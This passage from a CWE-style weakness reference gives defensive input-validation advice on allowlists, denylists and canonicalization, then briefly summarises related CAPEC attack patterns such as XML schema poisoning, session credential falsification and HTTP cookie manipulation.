  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

CAPEC-146: XML Schema Poisoning

An adversary corrupts or modifies the content of XML schema information passed between a client and server for the purpose of undermining the security of the target. XML Schemas provide the structure and content definitions for XML documents. Schema poisoning is the ability to manipulate a schema either by replacing or modifying it to compromise the programs that process documents that use this schema.

CAPEC-226: Session Credential Falsification through Manipulation

An attacker manipulates an existing credential in order to gain access to a target application. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. An attacker may be able to manipulate a credential sniffed from an existing connection in order to gain access to a target server.

CAPEC-31: Accessing/Intercepting/Modifying HTTP Cookies

This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information.

CAPEC-39: Manipulating Opaque Client-based Data Tokens

In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.

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